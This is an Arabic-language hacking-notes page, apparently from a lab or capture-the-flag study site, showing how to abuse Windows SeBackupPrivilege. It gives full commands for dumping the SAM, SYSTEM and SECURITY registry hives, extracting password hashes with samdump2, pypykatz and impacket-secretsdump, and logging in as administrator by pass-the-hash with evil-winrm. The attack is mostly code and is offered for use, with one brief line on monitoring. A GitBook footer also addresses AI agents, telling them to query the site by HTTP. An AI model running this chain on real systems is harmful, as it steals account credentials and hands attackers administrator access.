> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md).

# SeBackupPrivilege

`SeBackupPrivilege` تسمح بقراءة الملفات المحمية في سياق النسخ الاحتياطي. في بيئة مختبرية، يمكن استخدام هذه الصلاحية لنسخ `SAM` و `SYSTEM`، ثم استخراج تجزئات الحسابات المحلية دون اتصال.

## الاكتشاف

```powershell
whoami /priv
```

<figure><img src="/files/a12d8a8dcba233cabf5a211836ddfed95a942cf4" alt="SeBackupPrivilege shown in whoami /priv"><figcaption></figcaption></figure>

## تحميل الوحدات

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege>" %}

```powershell
upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```

<figure><img src="/files/fe41d5d2c334276183029c841e1b2f816a056944" alt="SeBackupPrivilege modules loaded"><figcaption></figcaption></figure>

## تصدير SAM و SYSTEM

```cmd
reg save HKLM\\SAM sam
reg save HKLM\\SYSTEM system
```

<figure><img src="/files/e7c571e0741b351671e6423a3e4eb18ff84e0b54" alt="Exporting SAM and SYSTEM registry hives"><figcaption></figcaption></figure>

حمّل الملفات:

```powershell
download sam
download system
```

<figure><img src="/files/54bc90e1b0c555bb8d6d035e8dcf12c292b10468" alt="Downloading exported registry hives"><figcaption></figcaption></figure>

## استخراج التجزئات

```bash
samdump2 system sam
```

<figure><img src="/files/d449908b718a3a3d1190dd2b9e4df5e155b1a17c" alt="Hash extraction with samdump2"><figcaption></figcaption></figure>

بديل:

```bash
pypykatz registry system --sam sam
```

<figure><img src="/files/ba8a241e26d45b67fb0de868e5a087d9be93ecbe" alt="Hash extraction with pypykatz"><figcaption></figcaption></figure>

## التحقق باستخدام Pass-the-Hash

```bash
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

<figure><img src="/files/43936558b91add9eaaee0ef1af9998e4fa2f55b1" alt="Pass-the-Hash validation with Evil-WinRM"><figcaption></figcaption></figure>

## النقاط الرئيسية

* `SeBackupPrivilege` حساسة حتى من دون العضوية المباشرة في مجموعة المسؤولين المحليين.
* تصدير `SECURITY` أيضًا عندما تريد أسرار LSA أو البيانات المخزنة مؤقتًا من المجال.
* راقب تصدير خلايا السجل والوصول إلى ملفات النظام المحمية.

## الاستخراج باستخدام Impacket

يمكن لـ Impacket تحليل خلايا السجل المحفوظة دون اتصال:

```cmd
reg save HKLM\\SAM C:\\Windows\\Temp\\sam.save
reg save HKLM\\SYSTEM C:\\Windows\\Temp\\system.save
reg save HKLM\\SECURITY C:\\Windows\\Temp\\security.save
```

```bash
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
```

## تنظيف

```cmd
del C:\\Windows\\Temp\\sam.save
del C:\\Windows\\Temp\\system.save
del C:\\Windows\\Temp\\security.save
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
